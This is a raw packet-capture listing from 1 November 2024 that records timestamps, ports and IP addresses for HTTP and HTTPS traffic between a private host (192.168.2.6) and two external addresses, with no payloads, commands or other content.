Nov 1, 2024 00:38:53.268059969 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.268070936 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.268300056 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.269660950 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.269684076 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.269730091 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.533003092 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533035994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533056974 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533071995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533097029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533113003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533127069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533144951 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533158064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533175945 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.533225060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.533225060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.533225060 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.534485102 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.540669918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.540685892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.540702105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.540715933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.540765047 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.540810108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.692214012 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692245960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692259073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692279100 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.692308903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.692409039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692460060 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692461014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.692476034 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692492008 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.692519903 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.692547083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.693109035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.693135977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.693150997 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.693166018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.693180084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.693192959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.693218946 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.693233967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.693265915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.693279982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.694006920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.694050074 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.735400915 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735457897 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735495090 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735532999 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735532045 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.735563040 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735589027 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.735610962 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735651970 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.735660076 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735714912 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.735758066 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.735763073 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.776762962 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.776774883 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.809298992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809322119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809338093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809374094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809421062 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809501886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809564114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809564114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809597015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809602976 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809628963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809638977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809645891 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.809670925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.809693098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.810336113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.810385942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.810424089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.810439110 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.810453892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.810480118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.810512066 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.818188906 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.851402044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.851419926 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.851499081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.851512909 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.851526976 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:53.851552010 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.851583958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:53.852277040 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852377892 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852412939 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852433920 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.852447987 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852792978 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852847099 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.852854013 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852891922 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.852895021 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.852998972 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.853020906 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.853034019 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.853034019 CET	49949	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:53.853040934 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:53.853050947 CET	443	49949	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.043986082 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.044028044 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.044114113 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.044429064 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.044442892 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.086405039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086431026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086447001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086467028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086483002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086507082 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086523056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086536884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086559057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086575985 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.086599112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.086658955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.087332010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087788105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087801933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087816000 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087832928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087841988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.087841988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.087848902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.087877989 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.087901115 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090033054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090046883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090060949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090075970 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090090990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090100050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090106964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090122938 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090135098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090142965 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090162992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090173006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090187073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090199947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090217113 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.090224981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090249062 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.090276003 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.091002941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091108084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.091195107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091209888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091226101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091240883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091257095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091262102 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.091289043 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.091310978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.091334105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.091381073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.162136078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162157059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162225962 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.162233114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162247896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162266016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162288904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162287951 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.162306070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.162307978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.162332058 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.162348986 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.163062096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.163197041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.163212061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.163244009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.163265944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204277039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204297066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204312086 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204327106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204333067 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204350948 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204380035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204554081 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204569101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204591036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.204593897 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204607964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.204668045 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.277525902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.277570963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.277621031 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.277642965 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.277674913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.277710915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.277724028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.277745962 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.277757883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.277810097 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278027058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278078079 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278079987 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278125048 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278234959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278283119 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278337955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278388023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278506041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278539896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278557062 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278573036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.278585911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.278618097 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.319498062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319514036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319529057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319564104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.319648027 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.319658041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319672108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319720030 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.319829941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319854021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.319875956 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.319900990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.364145994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.364164114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.364180088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.364212036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.364236116 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.394439936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394455910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394514084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394526005 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394675970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.394675970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.394682884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394707918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394722939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.394757032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.394813061 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.395123959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.395173073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.395179033 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.395216942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.395272017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.395294905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.395308018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.395317078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.395328999 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.395347118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.436819077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.436841965 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.436858892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.436953068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.437155962 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.437181950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.437199116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.437208891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.437233925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.437248945 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.481390953 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.481443882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.481446028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.481481075 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.481491089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.481525898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.481532097 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.481578112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511532068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511595964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511621952 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511632919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511636972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511667967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511682034 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511718988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511718988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511753082 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.511764050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.511799097 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.512080908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512115002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512132883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.512147903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512161970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.512192965 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.512556076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512572050 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512586117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.512622118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.512658119 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.554410934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554433107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554456949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554472923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554487944 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554495096 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.554503918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.554546118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.598536015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.598553896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.598571062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.598594904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.598756075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.598756075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.628583908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628604889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628622055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628654957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.628678083 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.628772020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628798008 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628813028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.628829002 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.628860950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.629200935 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.629219055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.629235029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.629250050 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.629256964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.629268885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.629281044 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.629311085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.671303988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.671370983 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.671382904 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.671417952 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.671433926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.671452045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.671488047 CET	80	49948	185.215.113.16	192.168.2.6
